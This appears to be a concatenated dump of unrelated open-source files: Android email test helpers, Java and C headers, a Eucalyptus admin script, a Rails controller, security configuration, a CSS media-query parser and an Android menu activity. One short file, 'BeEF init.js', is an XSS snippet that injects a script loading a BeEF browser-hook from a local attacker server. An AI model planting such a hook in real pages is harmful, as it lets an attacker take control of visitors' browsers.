assertEquals(caller + " mLogin", expect.mLogin, actual.mLogin); assertEquals(caller + " mPassword", expect.mPassword, actual.mPassword); assertEquals(caller + " mDomain", expect.mDomain, actual.mDomain); // This field is dead and is not checked // assertEquals(caller + " mAccountKey", expect.mAccountKey, actual.mAccountKey); } /** * Compare two mailboxes for equality */ public static void assertMailboxEqual(String caller, Mailbox expect, Mailbox actual) { if (expect == actual) { return; } assertEmailContentEqual(caller, expect, actual); assertEquals(caller + " mDisplayName", expect.mDisplayName, actual.mDisplayName); assertEquals(caller + " mServerId", expect.mServerId, actual.mServerId); assertEquals(caller + " mParentServerId", expect.mParentServerId, actual.mParentServerId); assertEquals(caller + " mParentKey", expect.mParentKey, actual.mParentKey); assertEquals(caller + " mAccountKey", expect.mAccountKey, actual.mAccountKey); assertEquals(caller + " mType", expect.mType, actual.mType); assertEquals(caller + " mDelimiter", expect.mDelimiter, actual.mDelimiter); assertEquals(caller + " mSyncKey", expect.mSyncKey, actual.mSyncKey); assertEquals(caller + " mSyncLookback", expect.mSyncLookback, actual.mSyncLookback); assertEquals(caller + " mSyncInterval", expect.mSyncInterval, actual.mSyncInterval); assertEquals(caller + " mSyncTime", expect.mSyncTime, actual.mSyncTime); assertEquals(caller + " mFlagVisible", expect.mFlagVisible, actual.mFlagVisible); assertEquals(caller + " mSyncStatus", expect.mSyncStatus, actual.mSyncStatus); assertEquals(caller + " mLastTouchedTime", expect.mLastTouchedTime, actual.mLastTouchedTime); assertEquals(caller + " mUiSyncStatus", expect.mUiSyncStatus, actual.mUiSyncStatus); assertEquals(caller + " mUiLastSyncResult", expect.mUiLastSyncResult, actual.mUiLastSyncResult); assertEquals(caller + " mTotalCount", expect.mTotalCount, actual.mTotalCount); assertEquals(caller + " mHierarchicalName", expect.mHierarchicalName, actual.mHierarchicalName); assertEquals(caller + " mLastFullSyncTime", expect.mLastFullSyncTime, actual.mLastFullSyncTime); } /** * Compare two messages for equality * * TODO: body? * TODO: attachments? */ public static void assertMessageEqual(String caller, Message expect, Message actual) { if (expect == actual) { return; } assertEmailContentEqual(caller, expect, actual); assertEquals(caller + " mDisplayName", expect.mDisplayName, actual.mDisplayName); assertEquals(caller + " mTimeStamp", expect.mTimeStamp, actual.mTimeStamp); assertEquals(caller + " mSubject", expect.mSubject, actual.mSubject); assertEquals(caller + " mFlagRead = false", expect.mFlagRead, actual.mFlagRead); assertEquals(caller + " mFlagRead = false", expect.mFlagSeen, actual.mFlagSeen); assertEquals(caller + " mFlagLoaded", expect.mFlagLoaded, actual.mFlagLoaded); assertEquals(caller + " mFlagFavorite", expect.mFlagFavorite, actual.mFlagFavorite); assertEquals(caller + " mFlagAttachment", expect.mFlagAttachment, actual.mFlagAttachment); assertEquals(caller + " mFlags", expect.mFlags, actual.mFlags); assertEquals(caller + " mServerId", expect.mServerId, actual.mServerId); assertEquals(caller + " mServerTimeStamp", expect.mServerTimeStamp,actual.mServerTimeStamp); assertEquals(caller + " mDraftInfo", expect.mDraftInfo,actual.mDraftInfo); assertEquals(caller + " mMessageId", expect.mMessageId, actual.mMessageId); assertEquals(caller + " mMailboxKey", expect.mMailboxKey, actual.mMailboxKey); assertEquals(caller + " mAccountKey", expect.mAccountKey, actual.mAccountKey); assertEquals(caller + " mMainMailboxKey", expect.mMainMailboxKey, actual.mMainMailboxKey); assertEquals(caller + " mFrom", expect.mFrom, actual.mFrom); assertEquals(caller + " mTo", expect.mTo, actual.mTo); assertEquals(caller + " mCc", expect.mCc, actual.mCc); assertEquals(caller + " mBcc", expect.mBcc, actual.mBcc); assertEquals(caller + " mReplyTo", expect.mReplyTo, actual.mReplyTo); assertEquals(caller + " mMeetingInfo", expect.mMeetingInfo, actual.mMeetingInfo); assertEquals(caller + " mSnippet", expect.mSnippet, actual.mSnippet); assertEquals(caller + " mProtocolSearchInfo", expect.mProtocolSearchInfo, actual.mProtocolSearchInfo); assertEquals(caller + " mThreadTopic", expect.mThreadTopic, actual.mThreadTopic); assertEquals(caller + " mSyncData", expect.mSyncData, actual.mSyncData); assertEquals(caller + " mSyncData", expect.mServerConversationId, actual.mServerConversationId); assertEquals(caller + " mText", expect.mText, actual.mText); assertEquals(caller + " mHtml", expect.mHtml, actual.mHtml); assertEquals(caller + " mSourceKey", expect.mSourceKey, actual.mSourceKey); assertEquals(caller + " mQuotedTextStartPos", expect.mQuotedTextStartPos, actual.mQuotedTextStartPos); } /** * Compare to attachments for equality * * TODO: file / content URI mapping? Compare the actual files? */ public static void assertAttachmentEqual(String caller, Attachment expect, Attachment actual) { if (expect == actual) { return; } assertEmailContentEqual(caller, expect, actual); assertEquals(caller + " mFileName", expect.mFileName, actual.mFileName); assertEquals(caller + " mMimeType", expect.mMimeType, actual.mMimeType); assertEquals(caller + " mSize", expect.mSize, actual.mSize); assertEquals(caller + " mContentId", expect.mContentId, actual.mContentId); assertEquals(caller + " mContentUri", expect.getContentUri(), actual.getContentUri()); assertEquals(caller + " mCachedFileUri", expect.getCachedFileUri(), actual.getCachedFileUri()); assertEquals(caller + " mMessageKey", expect.mMessageKey, actual.mMessageKey); assertEquals(caller + " mLocation", expect.mLocation, actual.mLocation); assertEquals(caller + " mEncoding", expect.mEncoding, actual.mEncoding); assertEquals(caller + " mContent", expect.mContent, actual.mContent); assertEquals(caller + " mFlags", expect.mFlags, actual.mFlags); MoreAsserts.assertEquals(caller + " mContentBytes", expect.mContentBytes, actual.mContentBytes); assertEquals(caller + " mAccountKey", expect.mAccountKey, actual.mAccountKey); } /** * Create a temporary EML file based on {@code msg} in the directory {@code directory}. */ public static Uri createTempEmlFile(Context context, Message msg, File directory) throws Exception { // Write out the message in rfc822 format File outputFile = File.createTempFile("message", "tmp", directory); assertNotNull(outputFile); FileOutputStream outputStream = new FileOutputStream(outputFile); Rfc822Output.writeTo(context, msg, outputStream, true, false, null); outputStream.close(); return Uri.fromFile(outputFile); } }
s20121035/rk3288_android5.1_repo
packages/apps/Email/tests/src/com/android/email/provider/ProviderTestUtils.java
Java
gpl-3.0
19,617
(function() { var d=document; var s = d.createElement('script'); s.src = 'http://127.0.0.1:3000/hook.js'; // BeEF hook here s.setAttribute('onload','beef_init();'); d.body.appendChild(s); })();
koto/xsschef
snippets/eval-snippets/BeEF init.js
JavaScript
gpl-3.0
194
/* * This file is part of the LibreOffice project. * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. * * This file incorporates work covered by the following license notice: * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed * with this work for additional information regarding copyright * ownership. The ASF licenses this file to you under the Apache * License, Version 2.0 (the "License"); you may not use this file * except in compliance with the License. You may obtain a copy of * the License at http://www.apache.org/licenses/LICENSE-2.0 . */ package share; public interface LogWriter { /** * Method to print */ void println(String msg); /** * initialization * */ boolean initialize(share.DescEntry entry, boolean active); /** * will mostly be used by outproducers to sum up * the information, maybe write them to a db */ boolean summary(share.DescEntry entry); /** * Set a <CODE>Watcher</CODE> to the <CODE>LogWriter</CODE> * This is useful if a test starts a new office instance by itself. In this cases * the <CODE>LogWriter</CODE> could retrigger the <CODE>Watcher</CODE> * @see share.Watcher * @param watcher the new <CODE>Watcher</CODE> */ void setWatcher(Object watcher); }
beppec56/core
qadevOOo/runner/share/LogWriter.java
Java
gpl-3.0
1,567
/* * Generated by asn1c-0.9.24 (http://lionet.info/asn1c) * From ASN.1 module "InformationElements" * found in "../asn/InformationElements.asn" * `asn1c -fcompound-names -fnative-types` */ #ifndef _PDCP_Info_H_ #define _PDCP_Info_H_ #include <asn_application.h> /* Including external dependencies */ #include "PDCP-PDU-Header.h" #include <constr_SEQUENCE.h> #ifdef __cplusplus extern "C" { #endif /* Forward declarations */ struct LosslessSRNS_RelocSupport; struct HeaderCompressionInfoList; /* PDCP-Info */ typedef struct PDCP_Info { struct LosslessSRNS_RelocSupport *losslessSRNS_RelocSupport /* OPTIONAL */; PDCP_PDU_Header_t pdcp_PDU_Header; struct HeaderCompressionInfoList *headerCompressionInfoList /* OPTIONAL */; /* Context for parsing across buffer boundaries */ asn_struct_ctx_t _asn_ctx; } PDCP_Info_t; /* Implementation */ extern asn_TYPE_descriptor_t asn_DEF_PDCP_Info; #ifdef __cplusplus } #endif /* Referred external types */ #include "LosslessSRNS-RelocSupport.h" #include "HeaderCompressionInfoList.h" #endif /* _PDCP_Info_H_ */ #include <asn_internal.h>
BramBonne/snoopsnitch-pcapinterface
contrib/libosmo-asn1-rrc/include/PDCP-Info.h
C
gpl-3.0
1,099
import boto,sys,euca_admin from boto.exception import EC2ResponseError from euca_admin.generic import BooleanResponse from euca_admin.generic import StringList from boto.resultset import ResultSet from euca_admin import EucaAdmin from optparse import OptionParser SERVICE_PATH = '/services/Accounts' class Group(): def __init__(self, groupName=None): self.group_groupName = groupName self.group_users = StringList() self.group_auths = StringList() self.euca = EucaAdmin(path=SERVICE_PATH) def __repr__(self): r = 'GROUP \t%s\t' % (self.group_groupName) r = '%s\nUSERS\t%s\t%s' % (r,self.group_groupName,self.group_users) r = '%s\nAUTH\t%s\t%s' % (r,self.group_groupName,self.group_auths) return r def startElement(self, name, attrs, connection): if name == 'euca:users': return self.group_users if name == 'euca:authorizations': return self.group_auths else: return None def endElement(self, name, value, connection): if name == 'euca:groupName': self.group_groupName = value else: setattr(self, name, value) def get_describe_parser(self): parser = OptionParser("usage: %prog [GROUPS...]",version="Eucalyptus %prog VERSION") return parser.parse_args() def cli_describe(self): (options, args) = self.get_describe_parser() self.group_describe(args) def group_describe(self,groups=None): params = {} if groups: self.euca.connection.build_list_params(params,groups,'GroupNames') try: list = self.euca.connection.get_list('DescribeGroups', params, [('euca:item', Group)]) for i in list: print i except EC2ResponseError, ex: self.euca.handle_error(ex) def get_single_parser(self): parser = OptionParser("usage: %prog GROUPNAME",version="Eucalyptus %prog VERSION") (options,args) = parser.parse_args() if len(args) != 1: print "ERROR Required argument GROUPNAME is missing or malformed." parser.print_help() sys.exit(1) else: return (options,args) def cli_add(self): (options, args) = self.get_single_parser() self.group_add(args[0]) def group_add(self, groupName): try: reply = self.euca.connection.get_object('AddGroup', {'GroupName':groupName}, BooleanResponse) print reply except EC2ResponseError, ex: self.euca.handle_error(ex) def cli_delete(self): (options, args) = self.get_single_parser() self.group_delete(args[0]) def group_delete(self, groupName): try: reply = self.euca.connection.get_object('DeleteGroup', {'GroupName':groupName},BooleanResponse) print reply except EC2ResponseError, ex: self.euca.handle_error(ex)
Shebella/HIPPO
clc/tools/src/euca_admin/groups.py
Python
gpl-3.0
2,776
class Web::ApplicationController < ActionController::Base protect_from_forgery with: :exception private # rubocop:disable all def after_sign_in_path_for(resource) session['user_return_to'] || in_progress_courses_url end end
Rosalila/Kusukin
app/controllers/web/application_controller.rb
Ruby
gpl-3.0
240
/* * Copyright (C) 2015 Arthur Gregorio, AG.Software * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package br.com.webbudget.infraestructure.config; import br.com.webbudget.domain.entity.security.GrantTypeEntity; import br.com.webbudget.domain.entity.security.GroupMembershipTypeEntity; import br.com.webbudget.domain.entity.security.GroupTypeEntity; import br.com.webbudget.domain.entity.security.PartitionTypeEntity; import br.com.webbudget.domain.entity.security.PasswordTypeEntity; import br.com.webbudget.domain.entity.security.RelationshipIdentityTypeEntity; import br.com.webbudget.domain.entity.security.RelationshipTypeEntity; import br.com.webbudget.domain.entity.security.RoleTypeEntity; import br.com.webbudget.domain.entity.security.UserTypeEntity; import br.com.webbudget.domain.security.Grant; import br.com.webbudget.domain.security.Authorization; import br.com.webbudget.domain.security.Group; import br.com.webbudget.domain.security.GroupMembership; import br.com.webbudget.domain.security.Partition; import br.com.webbudget.domain.security.Role; import br.com.webbudget.domain.security.User; import javax.enterprise.event.Observes; import javax.inject.Inject; import org.picketlink.config.SecurityConfigurationBuilder; import org.picketlink.event.SecurityConfigurationEvent; import org.picketlink.idm.IdentityManager; import org.picketlink.idm.credential.encoder.BCryptPasswordEncoder; import org.picketlink.idm.credential.handler.PasswordCredentialHandler; import org.picketlink.internal.EntityManagerContextInitializer; /** * Configura toda infra de seguranca do sistema atraves do spring security * * @author Arthur Gregorio * * @version 2.0.0 * @since 1.1.0, 07/03/2015 */ public class SecurityConfiguration { @Inject private Authorization authorization; @Inject private EntityManagerContextInitializer contextInitializer; /** * Configura o contexto de seguranca do picketlink atraves do evento de * inicializacao do {@link IdentityManager} * * @param event o evento de configuracao */ public void configureInternal(@Observes SecurityConfigurationEvent event) { final SecurityConfigurationBuilder builder = event.getBuilder(); builder.idmConfig() .named("jpa.config") .stores() .jpa() .supportType( User.class, Role.class, Group.class, Partition.class) .supportGlobalRelationship( Grant.class, GroupMembership.class) .supportCredentials(true) .mappedEntity( RoleTypeEntity.class, UserTypeEntity.class, GrantTypeEntity.class, GroupTypeEntity.class, PasswordTypeEntity.class, PartitionTypeEntity.class, RelationshipTypeEntity.class, GroupMembershipTypeEntity.class, RelationshipIdentityTypeEntity.class) .addContextInitializer(this.contextInitializer) .setCredentialHandlerProperty( PasswordCredentialHandler.PASSWORD_ENCODER, new BCryptPasswordEncoder(10)); } /** * Configuracao das regras de navegacao HTTP do sistema atraves do evento * de configuracado do picketlink * * @param event o evento de configuracao */ public void configureHttpSecurity(@Observes SecurityConfigurationEvent event) { final SecurityConfigurationBuilder builder = event.getBuilder(); builder.http() .allPaths() .authenticateWith() .form() .loginPage("/home.xhtml") .errorPage("/home.xhtml?failure=true") .forPath("/logout") .logout() .redirectTo("/home.xhtml?faces-redirect=true") .forPath("/javax.faces.resource/*") .unprotected() .forPath("/favicon.ico*") .unprotected() .forPath("/main/entries/cards/**") .authorizeWith().role(this.authorization.CARD_VIEW) .forPath("/main/entries/contacts/**") .authorizeWith().role(this.authorization.CONTACT_VIEW) .forPath("/main/entries/costCenter/**") .authorizeWith().role(this.authorization.COST_CENTER_VIEW) .forPath("/main/financial/movement/**") .authorizeWith().role(this.authorization.MOVEMENT_VIEW) .forPath("/main/entries/wallets/**") .authorizeWith().role(this.authorization.WALLET_VIEW) .forPath("/main/financial/cardInvoice/**") .authorizeWith().role(this.authorization.CARD_INVOICE_VIEW) .forPath("/main/entries/movementClass/**") .authorizeWith().role(this.authorization.MOVEMENT_CLASS_VIEW) .forPath("/main/financial/transfer/**") .authorizeWith().role(this.authorization.BALANCE_TRANSFER_VIEW) .forPath("/main/miscellany/closing/**") .authorizeWith().role(this.authorization.CLOSING_VIEW) .forPath("/main/miscellany/financialPeriod/**") .authorizeWith().role(this.authorization.FINANCIAL_PERIOD_VIEW) .forPath("/main/tools/user/**") .authorizeWith().role(this.authorization.USER_VIEW) .forPath("/main/tools/group/**") .authorizeWith().role(this.authorization.GROUP_VIEW) .forPath("/main/tools/configurations/**") .authorizeWith().role(this.authorization.CONFIGURATION_VIEW) .forPath("/main/tools/privateMessage/**") .authorizeWith().role(this.authorization.PRIVATE_MESSAGE_VIEW); } }
brunofarina/web-budget
webBudget/src/main/java/br/com/webbudget/infraestructure/config/SecurityConfiguration.java
Java
gpl-3.0
6,806
#!/usr/bin/env python # vim:fileencoding=utf-8 from __future__ import (unicode_literals, division, absolute_import, print_function) __license__ = 'GPL v3' __copyright__ = '2014, Kovid Goyal <kovid at kovidgoyal.net>' from tinycss.css21 import CSS21Parser from tinycss.parsing import remove_whitespace, split_on_comma, ParseError class MediaQuery(object): __slots__ = 'media_type', 'expressions', 'negated' def __init__(self, media_type='all', expressions=(), negated=False): self.media_type = media_type self.expressions = expressions self.negated = negated def __repr__(self): return '<MediaQuery type=%s negated=%s expressions=%s>' % ( self.media_type, self.negated, self.expressions) def __eq__(self, other): return self.media_type == getattr(other, 'media_type', None) and \ self.negated == getattr(other, 'negated', None) and \ self.expressions == getattr(other, 'expressions', None) class MalformedExpression(Exception): def __init__(self, tok, msg): Exception.__init__(self, msg) self.tok = tok class CSSMedia3Parser(CSS21Parser): ''' Parse media queries as defined by the CSS 3 media module ''' def parse_media(self, tokens, errors): if not tokens: return [MediaQuery('all')] queries = [] for part in split_on_comma(remove_whitespace(tokens)): negated = False media_type = None expressions = [] try: for i, tok in enumerate(part): if i == 0 and tok.type == 'IDENT': val = tok.value.lower() if val == 'only': continue # ignore leading ONLY if val == 'not': negated = True continue if media_type is None and tok.type == 'IDENT': media_type = tok.value continue elif media_type is None: media_type = 'all' if tok.type == 'IDENT' and tok.value.lower() == 'and': continue if not tok.is_container: raise MalformedExpression(tok, 'expected a media expression not a %s' % tok.type) if tok.type != '(': raise MalformedExpression(tok, 'media expressions must be in parentheses not %s' % tok.type) content = remove_whitespace(tok.content) if len(content) == 0: raise MalformedExpression(tok, 'media expressions cannot be empty') if content[0].type != 'IDENT': raise MalformedExpression(content[0], 'expected a media feature not a %s' % tok.type) media_feature, expr = content[0].value, None if len(content) > 1: if len(content) < 3: raise MalformedExpression(content[1], 'malformed media feature definition') if content[1].type != ':': raise MalformedExpression(content[1], 'expected a :') expr = content[2:] if len(expr) == 1: expr = expr[0] elif len(expr) == 3 and (expr[0].type, expr[1].type, expr[1].value, expr[2].type) == ( 'INTEGER', 'DELIM', '/', 'INTEGER'): # This should really be moved into token_data, but # since RATIO is not part of CSS 2.1 and does not # occur anywhere else, we special case it here. r = expr[0] r.value = (expr[0].value, expr[2].value) r.type = 'RATIO' r._as_css = expr[0]._as_css + expr[1]._as_css + expr[2]._as_css expr = r else: raise MalformedExpression(expr[0], 'malformed media feature definition') expressions.append((media_feature, expr)) except MalformedExpression as err: errors.extend(ParseError(err.tok, err.message)) media_type, negated, expressions = 'all', True, () queries.append(MediaQuery(media_type or 'all', expressions=tuple(expressions), negated=negated)) return queries
nozuono/calibre-webserver
src/tinycss/media3.py
Python
gpl-3.0
4,645
/* * MenuActivity.java * * This file is part of ARcowabungaproject. * * Bernabe Gonzalez Garcia <bernagonzga@gmail.com> * Joaquim Dalmau Torva <jdalmaut@gmail.com> * Marc Sabate Piñol <masapim@hotmail.com> * Victor Purcallas Marchesi <vpurcallas@gmail.com> * * This activity displays to the user all the products offered by the "Shop". * It includes 3 tabs to distinguish the diferent product type (pizzas, drinks and offers) * Each tab shows a diferent list of products. * * The pizza tab shows a list of pizzas (expandable by touch list), standard and made by user ones. It contains also * a button to start the MakeYourOwnActivity * * The drink tab shows a list of drinks (normal list view) * * The offer tab shows a list of offers (expandable by touch) * * ARcowabungaproject is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * ARcowabungaproject is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with ARcowabungaproject. If not, see <http://www.gnu.org/licenses/>. */ package org.escoladeltreball.arcowabungaproject.activities; import java.util.HashSet; import java.util.Set; import org.escoladeltreball.arcowabungaproject.R; import org.escoladeltreball.arcowabungaproject.adapters.DrinkSetAdapter; import org.escoladeltreball.arcowabungaproject.adapters.OfferSetAdapter; import org.escoladeltreball.arcowabungaproject.adapters.PizzaSetAdapter; import org.escoladeltreball.arcowabungaproject.model.Drink; import org.escoladeltreball.arcowabungaproject.model.Offer; import org.escoladeltreball.arcowabungaproject.model.Pizza; import org.escoladeltreball.arcowabungaproject.model.system.Pizzeria; import org.escoladeltreball.arcowabungaproject.utils.CustomTextView; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.graphics.Color; import android.os.Build; import android.os.Bundle; import android.view.LayoutInflater; import android.view.MotionEvent; import android.view.View; import android.view.View.OnClickListener; import android.view.View.OnTouchListener; import android.view.ViewGroup; import android.view.Window; import android.view.WindowManager; import android.view.animation.AccelerateInterpolator; import android.view.animation.Animation; import android.view.animation.TranslateAnimation; import android.widget.ExpandableListView; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.TabHost; import android.widget.TabHost.OnTabChangeListener; import android.widget.TabHost.TabContentFactory; import android.widget.TabHost.TabSpec; import android.widget.TabWidget; import android.widget.TextView; @SuppressLint("NewApi") public class MenuActivity extends Activity implements OnTouchListener, OnClickListener { // ==================== // CONSTANTS // ==================== private static final int ANIMATION_TIME = 700; // ==================== // ATTRIBUTES // ==================== private TabHost tabHost; private View viewMenuPizza; private View viewMenuDrinks; private View viewMenuOffers; private View previousView; private View currentView; private View actualTab; private int idTabCounter = 0; private float lastX; private int currentTab; private Pizzeria pizzeria; // ==================== // CONSTRUCTORS // ==================== // ==================== // PUBLIC METHODS // ==================== // ==================== // PROTECTED METHODS // ==================== // ==================== // PRIVATE METHODS // ==================== /** * This method set up the tab view, and all of its content. * * @param view * must be a tab view * @param tag * an identify */ private void setupTab(final View view, final String tag) { View tabview = createTabView(tabHost.getContext(), tag); TabSpec setContent = tabHost.newTabSpec(tag).setIndicator(tabview) .setContent(new TabContentFactory() { public View createTabContent(String tag) { return view; } }); if (idTabCounter == 0) { tabview.setTag("pizzas"); idTabCounter++; } else if (idTabCounter == 1) { tabview.setTag("drinks"); idTabCounter++; } else if (idTabCounter == 2) { tabview.setTag("offers"); } tabHost.addTab(setContent); } /** * * This method creates a tab view, with the text or content specified by the * text. * * @param context * app context * @param text * the text ll be appears on the tab * @return view tab view */ private static View createTabView(final Context context, final String text) { View view; if (text.equals("pizzas")) { view = LayoutInflater.from(context).inflate(R.layout.tab_pizzas, null); } else if (text.equals("drinks")) { view = LayoutInflater.from(context).inflate(R.layout.tab_drinks, null); } else { view = LayoutInflater.from(context).inflate(R.layout.tab_offers, null); } TextView tv = (TextView) view.findViewById(R.id.tabTittle); tv.setTextColor(Color.WHITE); String finalText = text.toUpperCase(); tv.setText(finalText); CustomTextView.customTextView(context, tv); return view; } /** * This method get the tab view, and change his icon and color text by the * boolean. * * @param view * A tab view * @param isSelected * If the tab must be selected or not */ public static void changeColor(View view, boolean isSelected) { int childCount = ((ViewGroup) view).getChildCount(); for (int i = 0; i < childCount; i++) { View viewElement = ((ViewGroup) view).getChildAt(i); if (viewElement != null) { // get title text view final View textView = viewElement.findViewById(R.id.tabTittle); final View imageView = viewElement.findViewById(R.id.tabImg); if (textView instanceof TextView) { if (!isSelected) { ((TextView) textView).setTextColor(Color.WHITE); } else if (isSelected) { ((TextView) textView).setTextColor(Color .parseColor("#269491")); } } else if (imageView instanceof ImageView) { if (imageView.getTag().equals("drink_image")) { if (!isSelected) { ((ImageView) imageView) .setImageResource(R.drawable.icontabdrinks); } else { ((ImageView) imageView) .setImageResource(R.drawable.icontabdrinksoff); } } else if (imageView.getTag().equals("pizza_image")) { if (!isSelected) { ((ImageView) imageView) .setImageResource(R.drawable.icontabpizzas); } else { ((ImageView) imageView) .setImageResource(R.drawable.icontabpizzasoff); } } else if (imageView.getTag().equals("offers_image")) { if (!isSelected) { ((ImageView) imageView) .setImageResource(R.drawable.icontaboffers); } else { ((ImageView) imageView) .setImageResource(R.drawable.icontaboffersoff); } } } } } } /** * Custom animation that animates in from right * * @return Animation the Animation object */ private Animation inFromRightAnimation() { Animation inFromRight = new TranslateAnimation( Animation.RELATIVE_TO_PARENT, 1.0f, Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 0.0f); return setProperties(inFromRight); } /** * Custom animation that animates out to the right * * @return Animation the Animation object */ private Animation outToRightAnimation() { Animation outToRight = new TranslateAnimation( Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 1.0f, Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 0.0f); return setProperties(outToRight); } /** * Custom animation that animates in from left * * @return Animation the Animation object */ private Animation inFromLeftAnimation() { Animation inFromLeft = new TranslateAnimation( Animation.RELATIVE_TO_PARENT, -1.0f, Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 0.0f); return setProperties(inFromLeft); } /** * Custom animation that animates out to the left * * @return Animation the Animation object */ private Animation outToLeftAnimation() { Animation outtoLeft = new TranslateAnimation( Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, -1.0f, Animation.RELATIVE_TO_PARENT, 0.0f, Animation.RELATIVE_TO_PARENT, 0.0f); return setProperties(outtoLeft); } /** * Helper method that sets some common properties * * @param animation * the animation to give common properties * @return the animation with common properties */ private Animation setProperties(Animation animation) { animation.setDuration(ANIMATION_TIME); animation.setInterpolator(new AccelerateInterpolator()); return animation; } // ==================== // OVERRIDE METHODS // ==================== @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Remove title bar this.requestWindowFeature(Window.FEATURE_NO_TITLE); // Remove notification bar this.getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); this.setContentView(R.layout.activity_menu); // Up tabhost tabHost = (TabHost) findViewById(android.R.id.tabhost); tabHost.setup(); // Set dividers if (Build.VERSION.SDK_INT >= 11) tabHost.getTabWidget().setShowDividers( TabWidget.SHOW_DIVIDER_MIDDLE); tabHost.getTabWidget().setDividerDrawable(R.drawable.pompon); // Create views by layout LayoutInflater layoutInflater = (LayoutInflater) getApplicationContext() .getSystemService(Context.LAYOUT_INFLATER_SERVICE); pizzeria = Pizzeria.getInstance(); // INFLATE FIRST TAB CONTENT viewMenuPizza = layoutInflater .inflate(R.layout.pizza_list_layout, null); ExpandableListView lv = (ExpandableListView) viewMenuPizza .findViewById(R.id.pizzaList); lv.setOnTouchListener(this); Set<Pizza> setCustomPizzas = pizzeria.getCustomSavedPizzas(); Set<Pizza> setPredefinedPizzas = pizzeria.getPredefinedPizzas(); Set<Pizza> pizzas = new HashSet<Pizza>(setCustomPizzas); pizzas.addAll(setPredefinedPizzas); PizzaSetAdapter pizzaAdapter = new PizzaSetAdapter(this, pizzas); lv.setAdapter(pizzaAdapter); // SECOND TAB CONTENT viewMenuDrinks = layoutInflater.inflate(R.layout.drink_list_layout, null); ListView listView = (ListView) viewMenuDrinks .findViewById(R.id.drinkList); listView.setOnTouchListener(this); Set<Drink> drinks = pizzeria.getDrinks(); DrinkSetAdapter drinkAdapter = new DrinkSetAdapter(this, drinks); listView.setAdapter(drinkAdapter); // THIRD TAB CONTENT viewMenuOffers = layoutInflater.inflate(R.layout.offer_list_layout, null); ExpandableListView elv = (ExpandableListView) viewMenuOffers .findViewById(R.id.offerList); elv.setOnTouchListener(this); Set<Offer> offers = pizzeria.getOffers(); OfferSetAdapter offerAdapter = new OfferSetAdapter(this, offers); elv.setAdapter(offerAdapter); // Inflate custom tabhost with custom views. setupTab(viewMenuPizza, "pizzas"); setupTab(viewMenuDrinks, "drinks"); setupTab(viewMenuOffers, "offers"); // Set default tab before first init and change his look&feel tabHost.setCurrentTab(0); View firstTab = tabHost.findViewWithTag("pizzas"); changeColor(firstTab, true); actualTab = viewMenuPizza; previousView = tabHost.getCurrentView(); tabHost.setOnTabChangedListener(new OnTabChangeListener() { @Override public void onTabChanged(String tabId) { currentView = tabHost.getCurrentView(); if (tabHost.getCurrentTab() >= currentTab) { previousView.setAnimation(outToLeftAnimation()); currentView.setAnimation(inFromRightAnimation()); } else if (tabHost.getCurrentTab() < currentTab) { previousView.setAnimation(outToRightAnimation()); currentView.setAnimation(inFromLeftAnimation()); } previousView = currentView; currentTab = tabHost.getCurrentTab(); View tab1 = tabHost.findViewWithTag("pizzas"); View tab2 = tabHost.findViewWithTag("drinks"); View tab3 = tabHost.findViewWithTag("offers"); if (actualTab.equals(viewMenuPizza) && tabId.equals("drinks")) { changeColor(tab1, false); changeColor(tab2, true); actualTab = viewMenuDrinks; } else if (actualTab.equals(viewMenuDrinks) && tabId.equals("pizzas")) { changeColor(tab2, false); changeColor(tab1, true); actualTab = viewMenuPizza; } else if (actualTab.equals(viewMenuDrinks) && tabId.equals("offers")) { changeColor(tab2, false); changeColor(tab3, true); actualTab = viewMenuOffers; } else if (actualTab.equals(viewMenuOffers) && tabId.equals("drinks")) { changeColor(tab3, false); changeColor(tab2, true); actualTab = viewMenuDrinks; } else if (actualTab.equals(viewMenuPizza) && tabId.equals("offers")) { changeColor(tab1, false); changeColor(tab3, true); actualTab = viewMenuOffers; } else if (actualTab.equals(viewMenuOffers) && tabId.equals("pizzas")) { changeColor(tab3, false); changeColor(tab1, true); actualTab = viewMenuPizza; } } }); // Change font type on layout TextView tv = (TextView) findViewById(R.id.button_menu_text); CustomTextView.customTextView(this, tv); tv = (TextView) findViewById(R.id.button_cart_text); CustomTextView.customTextView(this, tv); CustomTextView.plusPriceOrder(tv); // Add click listeners to LinearLayouts on bottom LinearLayout lMenu = (LinearLayout) findViewById(R.id.button_menu); lMenu.setOnClickListener(this); LinearLayout lCart = (LinearLayout) findViewById(R.id.button_cart); lCart.setOnClickListener(this); } @Override public boolean onTouchEvent(MotionEvent touchevent) { return touchController(touchevent); } @Override public boolean onTouch(View v, MotionEvent event) { return touchController(event); } private boolean touchController(MotionEvent event) { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: { lastX = event.getX(); break; } case MotionEvent.ACTION_UP: { float currentX = event.getX(); if (lastX < currentX - 200) { tabHost.setCurrentTab(tabHost.getCurrentTab() - 